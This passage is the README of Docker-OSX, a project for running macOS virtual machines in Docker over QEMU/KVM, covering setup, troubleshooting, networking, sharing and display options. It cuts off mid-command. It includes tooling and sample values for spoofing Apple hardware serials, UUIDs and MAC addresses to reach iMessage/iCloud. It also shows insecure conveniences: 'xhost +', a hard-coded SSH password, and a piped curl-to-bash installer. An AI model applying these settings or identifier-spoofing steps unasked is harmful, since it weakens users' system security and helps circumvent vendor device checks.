[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked-auto?label=sickcodes%2Fdocker-osx%3Anaked-auto](https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked-auto?label=sickcodes%2Fdocker-osx%3Anaked-auto)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) ## Capabilities - use iPhone OSX KVM on Linux using [usbfluxd](https://github.com/corellium/usbfluxd)! - macOS Monterey VM on Linux! - Folder sharing- - USB passthrough (hotplug too) - SSH enabled (`localhost:50922`) - VNC enabled (`localhost:8888`) if using ./vnc version - iMessage security research via [serial number generator!](https://github.com/sickcodes/osx-serial-generator) - X11 forwarding is enabled - runs on top of QEMU + KVM - supports Big Sur, custom images, Xvfb headless mode - you can clone your container with `docker commit` ### Requirements - 20GB+++ disk space for bare minimum installation (50GB if using Xcode) - virtualization should be enabled in your BIOS settings - a x86_64 kvm-capable host - at least 50 GBs for `:auto` (half for the base image, half for your runtime image ### TODO - documentation for security researchers - gpu acceleration - support for virt-manager ## Docker Images built on top of the contents of this repository are also available on **Docker Hub** for convenience: https://hub.docker.com/r/sickcodes/docker-osx A comprehensive list of the available Docker images and their intended purpose can be found in the [Instructions](#instructions). ## Kubernetes Docker-OSX supports Kubernetes. Kubernetes Helm Chart & Documentation can be found under the [helm directory](helm/README.md). Thanks [cephasara](https://github.com/cephasara) for contributing this major contribution. [![Artifact HUB](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/docker-osx)](https://artifacthub.io/packages/search?repo=docker-osx) ## Support ### Small questions & issues Feel free to open an [issue](https://github.com/sickcodes/Docker-OSX/issues/new/choose), should you come across minor issues with running Docker-OSX or have any questions. #### Resolved issues Before you open an issue, however, please check the [closed issues](https://github.com/sickcodes/Docker-OSX/issues?q=is%3Aissue+is%3Aclosed) and confirm that you're using the latest version of this repository — your issues may have already been resolved! You might also see your answer in our questions and answers section [below](#more-questions-and-answers). ### Feature requests and updates Follow [@sickcodes](https://twitter.com/sickcodes)! ### Professional support For more sophisticated endeavours, we offer the following support services: - Enterprise support, business support, or casual support. - Custom images, custom scripts, consulting (per hour available!) - One-on-one conversations with you or your development team. In case you're interested, contact [@sickcodes on Twitter](https://twitter.com/sickcodes) or click [here](https://sick.codes/contact). ## License/Contributing Docker-OSX is licensed under the [GPL v3+](LICENSE). Contributions are welcomed and immensely appreciated. You are in fact permitted to use Docker-OSX as a tool to create proprietary software. ### Other cool Docker/QEMU based projects - [Run Android in a Docker Container with Dock Droid](https://github.com/sickcodes/dock-droid) - [Run Android fully native on the host!](https://github.com/sickcodes/droid-native) - [Run iOS 12 in a Docker container with Docker-eyeOS](https://github.com/sickcodes/Docker-eyeOS) - [https://github.com/sickcodes/Docker-eyeOS](https://github.com/sickcodes/Docker-eyeOS) - [Run iMessage relayer in Docker with Bluebubbles.app](https://bluebubbles.app/) - [Getting started wiki](https://github.com/BlueBubblesApp/BlueBubbles-Server/wiki/Running-via-Docker) ## Disclaimer If you are serious about Apple Security, and possibly finding 6-figure bug bounties within the Apple Bug Bounty Program, then you're in the right place! Further notes: [Is Hackintosh, OSX-KVM, or Docker-OSX legal?](https://sick.codes/is-hackintosh-osx-kvm-or-docker-osx-legal/) Product names, logos, brands and other trademarks referred to within this project are the property of their respective trademark holders. These trademark holders are not affiliated with our repository in any capacity. They do not sponsor or endorse this project in any way. # Instructions ## Container images ### Already set up or just looking to make a container quickly? Check out our [quick start](#quick-start-docker-osx) or see a bunch more use cases under our [container creation examples](#container-creation-examples) section. There are several different Docker-OSX images available that are suitable for different purposes. - `sickcodes/docker-osx:latest` - [I just want to try it out.](#quick-start-docker-osx) - `sickcodes/docker-osx:latest` - [I want to use Docker-OSX to develop/secure apps in Xcode (sign into Xcode, Transporter)](#quick-start-your-own-image-naked-container-image) - `sickcodes/docker-osx:naked` - [I want to use Docker-OSX for CI/CD-related purposes (sign into Xcode, Transporter)](#building-a-headless-container-from-a-custom-image) Create your personal image using `:latest` or `big-sur`. Then, pull the image out the image. Afterwards, you will be able to duplicate that image and import it to the `:naked` container, in order to revert the container to a previous state repeatedly. - `sickcodes/docker-osx:auto` - [I'm only interested in using the command line (useful for compiling software or using Homebrew headlessly).](#prebuilt-image-with-arbitrary-command-line-arguments) - `sickcodes/docker-osx:naked` - [I need iMessage/iCloud for security research.](#generating-serial-numbers) - `sickcodes/docker-osx:big-sur` - [I want to run Big Sur.](#quick-start-docker-osx) - `sickcodes/docker-osx:monterey` - [I want to run Monterey.](#quick-start-docker-osx) - `sickcodes/docker-osx:ventura` - [I want to run Ventura.](#quick-start-docker-osx) - `sickcodes/docker-osx:high-sierra` - I want to run High Sierra. - `sickcodes/docker-osx:mojave` - I want to run Mojave. ## Initial setup Before you do anything else, you will need to turn on hardware virtualization in your BIOS. Precisely how will depend on your particular machine (and BIOS), but it should be straightforward. Then, you'll need QEMU and some other dependencies on your host: ```bash # ARCH sudo pacman -S qemu libvirt dnsmasq virt-manager bridge-utils flex bison iptables-nft edk2-ovmf # UBUNTU DEBIAN sudo apt install qemu qemu-kvm libvirt-clients libvirt-daemon-system bridge-utils virt-manager libguestfs-tools # CENTOS RHEL FEDORA sudo yum install libvirt qemu-kvm ``` Then, enable libvirt and load the KVM kernel module: ```bash sudo systemctl enable --now libvirtd sudo systemctl enable --now virtlogd echo 1 | sudo tee /sys/module/kvm/parameters/ignore_msrs sudo modprobe kvm ``` ### I'd like to run Docker-OSX on Windows Running Docker-OSX on Windows is possible using WSL2 (Windows 11 + Windows Subsystem for Linux). You must have Windows 11 installed with build 22000+ (21H2 or higher). First, install WSL on your computer by running this command in an administrator powershell. For more info, look [here](https://docs.microsoft.com/en-us/windows/wsl/install). This will install Ubuntu by default. ``` wsl --install ``` You can confirm WSL2 is enabled using `wsl -l -v` in PowerShell. To see other distributions that are available, use `wsl -l -o`. If you have previously installed WSL1, upgrade to WSL 2. Check [this link to upgrade from WSL1 to WSL2](https://docs.microsoft.com/en-us/windows/wsl/install#upgrade-version-from-wsl-1-to-wsl-2). After WSL installation, go to `C:/Users/<Your_Name>/.wslconfig` and add `nestedVirtualization=true` to the end of the file (If the file doesn't exist, create it). For more information about the `.wslconfig` file check [this link](https://docs.microsoft.com/en-us/windows/wsl/wsl-config#wslconfig). Verify that you have selected "Show Hidden Files" and "Show File Extensions" in File Explorer options. The result should be like this: ``` [wsl2] nestedVirtualization=true ``` Go into your WSL distro (Run `wsl` in powershell) and check if KVM is enabled by using the `kvm-ok` command. The output should look like this: ``` INFO: /dev/kvm exists KVM acceleration can be used ``` Use the command `sudo apt -y install bridge-utils cpu-checker libvirt-clients libvirt-daemon qemu qemu-kvm` to install it if it isn't. Now download and install [Docker for Windows](https://docs.docker.com/desktop/windows/install/) if it is not already installed. After installation, go into Settings and check these 2 boxes: ``` General -> "Use the WSL2 based engine"; Resources -> WSL Integration -> "Enable integration with my default WSL distro", ``` Ensure `x11-apps` is installed. Use the command `sudo apt install x11-apps -y` to install it if it isn't. Finally, there are 3 ways to get video output: - WSLg: This is the simplest and easiest option to use. There may be some issues such as the keyboard not being fully passed through or seeing a second mouse on the desktop - [Issue on WSLg](https://github.com/microsoft/wslg/issues/376) - but this option is recommended. To use WSLg's built-in X-11 server, change these two lines in the docker run command to point Docker-OSX to WSLg. ``` -e "DISPLAY=${DISPLAY:-:0.0}" \ -v /mnt/wslg/.X11-unix:/tmp/.X11-unix \ ``` Or try: ``` -e "DISPLAY=${DISPLAY:-:0}" \ -v /mnt/wslg/.X11-unix:/tmp/.X11-unix \ ``` For Ubuntu 20.x on Windows, see [https://github.com/sickcodes/Docker-OSX/discussions/458](https://github.com/sickcodes/Docker-OSX/discussions/458) - VNC: See the [VNC section](#building-a-headless-container-which-allows-insecure-vnc-on-localhost-for-local-use-only) for more information. You could also add -vnc argument to qemu. Connect to your mac VM via a VNC Client. [Here is a how to](https://wiki.archlinux.org/title/QEMU#VNC) - Desktop Environment: This will give you a full desktop linux experience but it will use a bit more of the computer's resources. Here is an example guide, but there are other guides that help set up a desktop environment. [DE Example](https://www.makeuseof.com/tag/linux-desktop-windows-subsystem/) ## Additional boot instructions for when you are [creating your container](#container-creation-examples) - Boot the macOS Base System (Press Enter) - Click `Disk Utility` - Erase the BIGGEST disk (around 200gb default), DO NOT MODIFY THE SMALLER DISKS. -- if you can't click `erase`, you may need to reduce the disk size by 1kb - (optional) Create a partition using the unused space to house the OS and your files if you want to limit the capacity. (For Xcode 12 partition at least 60gb.) - Click `Reinstall macOS` - The system may require multiple reboots during installation ## Troubleshooting ### Routine checks This is a great place to start if you are having trouble getting going, especially if you're not that familiar with Docker just yet. Just looking to make a container quickly? Check out our [container creation examples](#container-creation-examples) section. More specific/advanced troubleshooting questions and answers may be found in [More Questions and Answers](#more-questions-and-answers). You should also check out the [closed issues](https://github.com/sickcodes/Docker-OSX/issues?q=is%3Aissue+is%3Aclosed). Someone else might have gotten a question like yours answered already even if you can't find it in this document! #### Confirm that your CPU supports virtualization See [initial setup](#initial-setup). #### Docker Unknown Server OS error ```console docker: unknown server OS: . See 'docker run --help'. ``` This means your docker daemon is not running. `pgrep dockerd` should return nothing Therefore, you have a few choices. `sudo dockerd` for foreground Docker usage. I use this. Or `sudo systemctl --start dockerd` to start dockerd this now. Or `sudo systemctl --enable --now dockerd` for start dockerd on every reboot, and now. #### Use more CPU Cores/SMP Examples: `-e EXTRA='-smp 6,sockets=3,cores=2'` `-e EXTRA='-smp 8,sockets=4,cores=2'` `-e EXTRA='-smp 16,sockets=8,cores=2'` Note, unlike memory, CPU usage is shared. so you can allocate all of your CPU's to the container. ### Confirm your user is part of the Docker group, KVM group, libvirt group #### Add yourself to the Docker group If you use `sudo dockerd` or dockerd is controlled by systemd/systemctl, then you must be in the Docker group. If you are not in the Docker group: ```bash sudo usermod -aG docker "${USER}" ``` and also add yourself to the kvm and libvirt groups if needed: ```bash sudo usermod -aG libvirt "${USER}" sudo usermod -aG kvm "${USER}" ``` See also: [initial setup](#initial-setup). #### Is the docker daemon enabled? ```bash # run ad hoc sudo dockerd # or daemonize it sudo nohup dockerd & # enable it in systemd (it will persist across reboots this way) sudo systemctl enable --now docker # or just start it as your user with systemd instead of enabling it systemctl start docker ``` ## More Questions and Answers Big thank you to our contributors who have worked out almost every conceivable issue so far! [https://github.com/sickcodes/Docker-OSX/blob/master/CREDITS.md](https://github.com/sickcodes/Docker-OSX/blob/master/CREDITS.md) ### Start the same container later (persistent disk) Created a container with `docker run` and want to reuse the underlying image again later? NB: see [container creation examples](#container-creation-examples) first for how to get to the point where this is applicable. This is for when you want to run the SAME container again later. You may need to use `docker commit` to save your container before you can reuse it. Check if your container is persisted with `docker ps --all`. If you don't run this you will have a new image every time. ```bash # look at your recent containers and copy the CONTAINER ID docker ps --all # docker start the container ID docker start -ai abc123xyz567 # if you have many containers, you can try automate it with filters like this # docker ps --all --filter "ancestor=sickcodes/docker-osx" # for locally tagged/built containers # docker ps --all --filter "ancestor=docker-osx" ``` You can also pull the `.img` file out of the container, which is stored in `/var/lib/docker`, and supply it as a runtime argument to the `:naked` Docker image. See also: [here](https://github.com/sickcodes/Docker-OSX/issues/197). ### I have used Docker-OSX before and want to restart a container that starts automatically Containers that use `sickcodes/docker-osx:auto` can be stopped while being started. ```bash # find last container docker ps -a # docker start old container with -i for interactive, -a for attach STDIN/STDOUT docker start -ai -i <Replace this with your ID> ``` ### LibGTK errors "connection refused" You may see one or more libgtk-related errors if you do not have everything set up for hardware virtualisation yet. If you have not yet done so, check out the [initial setup](#initial-setup) section and the [routine checks](#routine-checks) section as you may have missed a setup step or may not have all the needed Docker dependencies ready to go. See also: [here](https://github.com/sickcodes/Docker-OSX/issues/174). #### Permissions denied error If you have not yet set up xhost, try the following: ```bash echo $DISPLAY # ARCH sudo pacman -S xorg-xhost # UBUNTU DEBIAN sudo apt install x11-xserver-utils # CENTOS RHEL FEDORA sudo yum install xorg-x11-server-utils # then run xhost + ``` ### RAM over-allocation You cannot allocate more RAM than your machine has. The default is 3 Gigabytes: `-e RAM=3`. If you are trying to allocate more RAM to the container than you currently have available, you may see an error like the following: `cannot set up guest memory 'pc.ram': Cannot allocate memory`. See also: [here](https://github.com/sickcodes/Docker-OSX/issues/188), [here](https://github.com/sickcodes/Docker-OSX/pull/189). For example (below) the `buff/cache` already contains 20 Gigabytes of allocated RAM: ```console [user@hostname ~]$ free -mh total used free shared buff/cache available Mem: 30Gi 3.5Gi 7.0Gi 728Mi 20Gi 26Gi Swap: 11Gi 0B 11Gi ``` Clear the buffer and the cache: ```bash sudo tee /proc/sys/vm/drop_caches <<< 3 ``` Now check the RAM again: ```console [user@hostname ~]$ free -mh total used free shared buff/cache available Mem: 30Gi 3.3Gi 26Gi 697Mi 1.5Gi 26Gi Swap: 11Gi 0B 11Gi ``` ### PulseAudio #### Use PulseAudio for sound Note: [AppleALC](https://github.com/acidanthera/AppleALC), [`alcid`](https://dortania.github.io/OpenCore-Post-Install/universal/audio.html) and [VoodooHDA-OC](https://github.com/chris1111/VoodooHDA-OC) do not have [codec support](https://osy.gitbook.io/hac-mini-guide/details/hda-fix#hda-codec). However, [IORegistryExplorer](https://github.com/vulgo/IORegistryExplorer) does show the controller component working. ```bash docker run \ --device /dev/kvm \ -e AUDIO_DRIVER=pa,server=unix:/tmp/pulseaudio.socket \ -v "/run/user/$(id -u)/pulse/native:/tmp/pulseaudio.socket" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ sickcodes/docker-osx ``` #### PulseAudio debugging ```bash docker run \ --device /dev/kvm \ -e AUDIO_DRIVER=pa,server=unix:/tmp/pulseaudio.socket \ -v "/run/user/$(id -u)/pulse/native:/tmp/pulseaudio.socket" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e PULSE_SERVER=unix:/tmp/pulseaudio.socket \ sickcodes/docker-osx pactl list ``` #### PulseAudio with WSLg ```bash docker run \ --device /dev/kvm \ -e AUDIO_DRIVER=pa,server=unix:/tmp/pulseaudio.socket \ -v /mnt/wslg/runtime-dir/pulse/native:/tmp/pulseaudio.socket \ -v /mnt/wslg/.X11-unix:/tmp/.X11-unix \ sickcodes/docker-osx ``` ### Forward additional ports (nginx hosting example) It's possible to forward additional ports depending on your needs. In this example, we'll use Mac OSX to host nginx: ``` host:10023 <-> 10023:container:10023 <-> 80:guest ``` On the host machine, run: ```bash docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -e ADDITIONAL_PORTS='hostfwd=tcp::10023-:80,' \ -p 10023:10023 \ sickcodes/docker-osx:auto ``` In a Terminal session running the container, run: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" brew install nginx sudo sed -i -e 's/8080/80/' /usr/local/etc/nginx/nginx.confcd # sudo nginx -s stop sudo nginx ``` **nginx should now be reachable on port 10023.** Additionally, you can string multiple statements together, for example: ```bash -e ADDITIONAL_PORTS='hostfwd=tcp::10023-:80,hostfwd=tcp::10043-:443,' -p 10023:10023 \ -p 10043:10043 \ ``` ### Bridged networking You might not need to do anything with the default setup to enable internet connectivity from inside the container. Additionally, `curl` may work even if `ping` doesn't. See discussion [here](https://github.com/sickcodes/Docker-OSX/issues/177) and [here](https://github.com/sickcodes/Docker-OSX/issues/72) and [here](https://github.com/sickcodes/Docker-OSX/issues/88). ### Enable IPv4 forwarding for bridged network connections for remote installations This is not required for LOCAL installations. Additionally note it may [cause the host to leak your IP, even if you're using a VPN in the container](https://sick.codes/cve-2020-15590/). However, if you're trying to connect to an instance of Docker-OSX remotely (e.g. an instance of Docker-OSX hosted in a datacenter), this may improve your performance: ```bash # enable for current session sudo sysctl -w net.ipv4.ip_forward=1 # OR # sudo tee /proc/sys/net/ipv4/ip_forward <<< 1 # enable permanently sudo touch /etc/sysctl.conf sudo tee -a /etc/sysctl.conf <<EOF net.ipv4.ip_forward = 1 EOF # or edit manually with the editor of your choice nano /etc/sysctl.conf || vi /etc/sysctl.conf || vim /etc/sysctl.conf # now reboot ``` ## Share folder with Docker-OSX QEMU macOS Sharing a folder with guest is quite simple. Your folder, will go to /mnt/hostshare inside the Arch container which is then passed over QEMU. Then mount using `sudo -S mount_9p hostshare` from inside the mac. For example, ```bash FOLDER=~/somefolder ``` ```bash -v "${FOLDER}:/mnt/hostshare" \ -e EXTRA="-virtfs local,path=/mnt/hostshare,mount_tag=hostshare,security_model=passthrough,id=hostshare" \ ``` Full example: ```bash # stat mac_hdd_ng.img SHARE=~/somefolder docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -v "${PWD}/mac_hdd_ng.img:/home/arch/OSX-KVM/mac_hdd_ng.img" \ -v "${SHARE}:/mnt/hostshare" \ -e EXTRA="-virtfs local,path=/mnt/hostshare,mount_tag=hostshare,security_model=passthrough,id=hostshare" \ sickcodes/docker-osx:latest # !!! Open Terminal inside macOS and run the following command to mount the virtual file system # sudo -S mount_9p hostshare ``` ### Share Linux NFS Drive into macOS To share a folder using NFS, setup a folder for on the host machine, for example, `/srv/nfs/share` and then append to `/etc/exports`: ```bash /srv/nfs/share 127.0.0.1/0(insecure,rw,all_squash,anonuid=1000,anongid=985,no_subtree_check) ``` You may need to reload exports now, which will begin sharing that directory. ```bash # reload shared folders sudo exportfs -arv ``` [Source & Explanation](https://serverfault.com/questions/716350/mount-nfs-volume-on-ubuntu-linux-server-from-macos-client) Give permissions on the shared folder for the `anonuid` and `anongid`, where `anonuid` and `anongid` matches that of your linux user; `id -u` `id -u ; id -g` will print `userid:groupid` ``` chown 1000:985 /srv/nfs/share chmod u+rwx /srv/nfs/share ``` Start the Docker-OSX container with the additional flag `--network host` Create and mount the nfs folder from the mac terminal: ``` mkdir -p ~/mnt sudo mount_nfs -o locallocks 10.0.2.2:/srv/nfs/share ~/mnt ``` ### Share USB Drive into macOS over QEMU ## Mount USB Drive (Hotplug/Hot Plug USB) Start your container. Pick a port, for example, `7700`. `lsusb` to get `vid:pid` On Linux: `sudo usbredirserver -p 7700 1e3d:2096` Now, in the Docker window hit Enter to see the `(qemu)` console. You can add/remove the disk using commands like this, even once the machine is started: `chardev-add socket,id=usbredirchardev1,port=7700,host=172.17.0.1` `device_add usb-redir,chardev=usbredirchardev1,id=usbredirdev1,debug=4` ## Mount USB Drive inside macOS at boot Docker OSX ```bash PORT=7700 IP_ADDRESS=172.17.0.1 -e EXTRA="-chardev socket,id=usbredirchardev1,port=${PORT},host=${IP_ADDRESS} -device usb-redir,chardev=usbredirchardev1,id=usbredirdev1,debug=4" \` ``` ### Fedora: enable internet connectivity with a bridged network Fedora's default firewall settings may prevent Docker's network interface from reaching the internet. In order to resolve this, you will need to whitelist the interface in your firewall: ```bash # Set the docker0 bridge to the trusted zone sudo firewall-cmd --permanent --zone=trusted --add-interface=docker0 sudo firewall-cmd --reload ``` ### Nested Hardware Virtualization Check if your machine has hardware virtualization enabled: ```bash sudo tee /sys/module/kvm/parameters/ignore_msrs <<< 1 egrep -c '(svm|vmx)' /proc/cpuinfo ``` ### Virtual network adapters #### Fast internet connectivity `-e NETWORKING=vmxnet3` #### Slow internet connectivity `-e NETWORKING=e1000-82545em` ### CI/CD Related Improvements #### Tips for reducing the size of the image - Start the container as usual, and remove unnecessary files. A useful way to do this is to use `du -sh *` starting from the `/` directory, and find large directories where files can be removed. E.g. unnecessary cached files, Xcode platforms, etc. - Once you are satisfied with the amount of free space, enable trim with `sudo trimforce enable`, and reboot. - Zero out the empty space on the disk with `dd if=/dev/zero of=./empty && rm -f empty` - Shut down the VM and copy out the qcow image with `docker cp stoppedcontainer:/home/arch/OSX-KVM/mac_hdd_ng.img .` - Run `qemu-img check -r all mac_hdd_ng.img` to fix any errors. - Run `qemu-img convert -O qcow2 mac_hdd_ng.img deduped.img` and check for errors again - **OPTIONAL:** Run `qemu-img convert -c -O qcow2 deduped.img compressed.img` to further compress the image. This may reduce the runtime speed though, but it should reduce the size by roughly 25%. - Check for errors again, and build a fresh docker image. E.g. with this Dockerfile ``` FROM sickcodes/docker-osx USER arch COPY --chown=arch ./deduped.img /home/arch/OSX-KVM/mac_hdd_ng.img ``` ### Run Docker-OSX headlessly with Telnet First make sure [autoboot is enabled](#autoboot-into-osx-after-youve-installed-everything) Next, you will want to set up SSH to be automatically started. ```bash sudo systemsetup -setremotelogin on ``` Make sure to commit the new docker image and save it, or rebuild as described in the [section on reducing disk space](#how-to-reduce-the-size-of-the-image). Then run it with these arguments. ```bash # Run with the -nographic flag, and enable a telnet interface docker run \ --device /dev/kvm \ -p 50922:10022 \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e EXTRA="-monitor telnet::45454,server,nowait -nographic -serial null" \ mycustomimage ``` ### What mirrors are appropriate to use to build Docker-OSX locally? If you are building Docker-OSX locally, you'll probably want to use Arch Linux's mirrors. Mirror locations can be found here (uses two-letter country codes): https://archlinux.org/mirrorlist/all/ ```bash docker build -t docker-osx:latest \ --build-arg RANKMIRRORS=true \ --build-arg MIRROR_COUNTRY=US \ --build-arg MIRROR_COUNT=10 \ --build-arg SHORTNAME=catalina \ --build-arg SIZE=200G . ``` ### Custom QEMU Arguments (passthrough devices) Pass any devices/directories to the Docker container & the QEMU arguments using the handy runtime argument provider option `-e EXTRA=`. ```bash # example customizations docker run \ -e RAM=4 \ -e SMP=4 \ -e CORES=4 \ -e EXTRA='-usb -device usb-host,hostbus=1,hostaddr=8' \ -e INTERNAL_SSH_PORT=23 \ -e MAC_ADDRESS="$(xxd -c1 -p -l 6 /dev/urandom | tr '\n' ':' | cut -c1-17)" \ -e AUDIO_DRIVER=alsa \ -e IMAGE_PATH=/image \ -e SCREEN_SHARE_PORT=5900 \ -e DISPLAY=:0 \ -e NETWORKING=vmxnet3 \ --device /dev/kvm \ --device /dev/snd \ -v /tmp/.X11-unix:/tmp/.X11-unix \ docker-osx:latest ``` ### Generating serial numbers Generate serial numbers in `./custom` OR make docker generate them at runtime (see below). At any time, verify your serial number before logging into iCloud, etc. ```bash # this is a quick way to check your serial number via cli inside OSX ioreg -l | grep IOPlatformSerialNumber # test some commands sshpass -p 'alpine' ssh user@localhost -p 50922 'ping google.com' # check your serial number sshpass -p 'alpine' ssh user@localhost -p 50922 'ioreg -l | grep IOPlatformSerialNumber' ``` #### Getting started with serial numbers ```bash # ARCH pacman -S libguestfs # UBUNTU DEBIAN apt install libguestfs -y # RHEL FEDORA CENTOS yum install libguestfs -y ``` Inside the `./custom` folder you will find `4` scripts. - `config-nopicker-custom.plist` - `opencore-image-ng.sh` These two files are from OSX-KVM. You don't need to touch these two files. The config.plist has 5 values replaced with placeholders. [Click here to see those values for no reason.](https://github.com/sickcodes/Docker-OSX/blob/master/custom/config-nopicker-custom.plist#L705) - `generate-unique-machine-values.sh` This script will generate serial numbers, with Mac Addresses, plus output to CSV/TSV, plus make a `bootdisk image`. You can create hundreds, `./custom/generate-unique-machine-values.sh --help` ```bash ./custom/generate-unique-machine-values.sh \ --count 1 \ --tsv ./serial.tsv \ --bootdisks \ --output-bootdisk OpenCore.qcow2 \ --output-env source.env.sh ``` Or if you have some specific serial numbers... - `generate-specific-bootdisk.sh` ```bash generate-specific-bootdisk.sh \ --model "${DEVICE_MODEL}" \ --serial "${SERIAL}" \ --board-serial "${BOARD_SERIAL}" \ --uuid "${UUID}" \ --mac-address "${MAC_ADDRESS}" \ --output-bootdisk OpenCore-nopicker.qcow2 ``` #### This example generates a random set of serial numbers at runtime, headlessly ```bash # proof of concept only, generates random serial numbers, headlessly, and quits right after. docker run --rm -it \ --device /dev/kvm \ -p 50922:10022 \ -e NOPICKER=true \ -e GENERATE_UNIQUE=true \ -e DEVICE_MODEL="iMacPro1,1" \ sickcodes/docker-osx:auto # -e OSX_COMMANDS='ioreg -l | grep IOPlatformSerialNumber' \ ``` #### This example generates a specific set of serial numbers at runtime ```bash # run the same as above 17gb auto image, with SSH, with nopicker, and save the bootdisk for later. # you don't need to save the bootdisk IF you supply specific serial numbers! docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -e NOPICKER=true \ -e GENERATE_SPECIFIC=true \ -e DEVICE_MODEL="iMacPro1,1" \ -e SERIAL="C02TW0WAHX87" \ -e BOARD_SERIAL="C027251024NJG36UE" \ -e UUID="5CCB366D-9118-4C61-A00A-E5BAF3BED451" \ -e MAC_ADDRESS="A8:5C:2C:9A:46:2F" \ -e OSX_COMMANDS='ioreg -l | grep IOPlatformSerialNumber' \ sickcodes/docker-osx:auto ``` #### This example generates a specific set of serial numbers at runtime, with your existing image, at 1000x1000 display resolution ```bash # run an existing image in current directory, with a screen, with SSH, with nopicker. stat mac_hdd_ng.img # make sure you have an image if you're using :naked docker run -it \ -v "${PWD}/mac_hdd_ng.img:/image" \ --device /dev/kvm \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -p 50922:10022 \ -e NOPICKER=true \ -e GENERATE_SPECIFIC=true \ -e DEVICE_MODEL="iMacPro1,1" \ -e SERIAL="C02TW0WAHX87" \ -e BOARD_SERIAL="C027251024NJG36UE" \ -e UUID="5CCB366D-9118-4C61-A00A-E5BAF3BED451" \ -e MAC_ADDRESS="A8:5C:2C:9A:46:2F" \ -e WIDTH=1000 \ -e HEIGHT=1000 \ sickcodes/docker-osx:naked ``` If you want to generate serial numbers, either make them at runtime using ` -e GENERATE_UNIQUE=true \` Or you can generate them inside the `./custom` folder. And then use: ```bash -e GENERATE_SPECIFIC=true \ -e SERIAL="" \ -e BOARD_SERIAL="" \ -e UUID="" \ -e MAC_ADDRESS="" \ ``` #### Making serial numbers persist across reboots ```bash stat mac_hdd_ng_testing.img touch ./output.env # generate fresh random serial numbers, with a screen, using your own image, and save env file with your new serial numbers for later. docker run -it \ --device /dev/kvm \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -p 50922:10022 \ -e NOPICKER=true \ -e GENERATE_UNIQUE=true \ -e GENERATE_SPECIFIC=true \ -e DEVICE_MODEL="iMacPro1,1" \ -v "${PWD}/output.env:/env" \ -v "${PWD}/mac_hdd_ng_testing.img:/image" \ sickcodes/docker-osx:naked ``` To use iMessage or iCloud you need to change `5` values. - `SERIAL` - `BOARD_SERIAL` - `UUID` - `MAC_ADDRESS` _`ROM` is just the lowercased mac address, without `:` between each word._ You can tell the container to generate them for you using `-e GENERATE_UNIQUE=true` Or tell the container to use specific ones using `-e GENERATE_SPECIFIC=true` ```bash -e GENERATE_SPECIFIC=true \ -e DEVICE_MODEL="iMacPro1,1" \ -e SERIAL="C02TW0WAHX87" \ -e BOARD_SERIAL="C027251024NJG36UE" \ -e UUID="5CCB366D-9118-4C61-A00A-E5BAF3BED451" \ -e MAC_ADDRESS="A8:5C:2C:9A:46:2F" \ ``` ### Changing display resolution The display resolution is controlled by this line: https://github.com/sickcodes/Docker-OSX/blob/master/custom/config-nopicker-custom.plist#L819 Instead of mounting that disk, Docker-OSX will generate a new `OpenCore.qcow2` by using this one cool trick: ```bash -e GENERATE_UNIQUE=true \ -e WIDTH=800 \ -e HEIGHT=600 \ ``` To use `WIDTH`/`HEIGHT`, you must use with either `-e GENERATE_UNIQUE=true` or `-e GENERATE_SPECIFIC=true`. It will take around 30 seconds longer to boot because it needs to make a new boot partition using `libguestfs`. ```bash -e GENERATE_SPECIFIC=true \ -e WIDTH=1920 \ -e HEIGHT=1080 \ -e SERIAL="" \ -e BOARD_SERIAL="" \ -e UUID="" \ -e MAC_ADDRESS="" \ ``` #### Change Docker-OSX Resolution Examples ```bash # using an image in your current directory stat mac_hdd_ng.img docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v "${PWD}/mac_hdd_ng.img:/image" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e GENERATE_SPECIFIC=true \ -e DEVICE_MODEL="iMacPro1,1" \ -e SERIAL="C02TW0WAHX87" \ -e BOARD_SERIAL="C027251024NJG36UE" \ -e UUID="5CCB366D-9118-4C61-A00A-E5BAF3BED451" \ -e MAC_ADDRESS="A8:5C:2C:9A:46:2F" \ -e MASTER_PLIST_URL=https://raw.githubusercontent.com/sickcodes/Docker-OSX/master/custom/config-nopicker-custom.plist \ -e WIDTH=1600 \ -e HEIGHT=900 \ sickcodes/docker-osx:naked ``` ```bash # generating random serial numbers, using the DIY installer, along with the screen resolution changes. docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e GENERATE_UNIQUE=true \ -e WIDTH=800 \ -e HEIGHT=600 \ sickcodes/docker-osx:latest ``` Here's a few other resolutions! If your resolution is invalid, it will default to 800x600. ``` -e WIDTH=800 \ -e HEIGHT=600 \ ``` ``` -e WIDTH=1280 \ -e HEIGHT=768 \ ``` ``` -e WIDTH=1600 \ -e HEIGHT=900 \ ``` ``` -e WIDTH=1920 \ -e HEIGHT=1080 \ ``` ``` -e WIDTH=2560 \ -e HEIGHT=1600 \ ``` #### This example shows how to change resolution after the container is created. First step is to stop the docker daemon ``` sudo systemctl stop docker ``` The second step is to change container config in ``` /var/lib/docker/containers/[container-id]/config.v2.json ``` (Suppose your original WIDTH is 1024 and HEIGHT is 768, you can search 1024 and replace it with the new value. Same for 768.) The last step is to restart the docker daemon ``` sudo systemctl restart docker ``` ### Mounting physical disks in Mac OSX Pass the disk into the container as a volume and then pass the disk again into QEMU command line extras with. Use the `config-custom.plist` because you probably want to see the boot menu, otherwise omit the first line: ```bash DISK_TWO="${PWD}/mount_me.img" ``` ```dockerfile -e 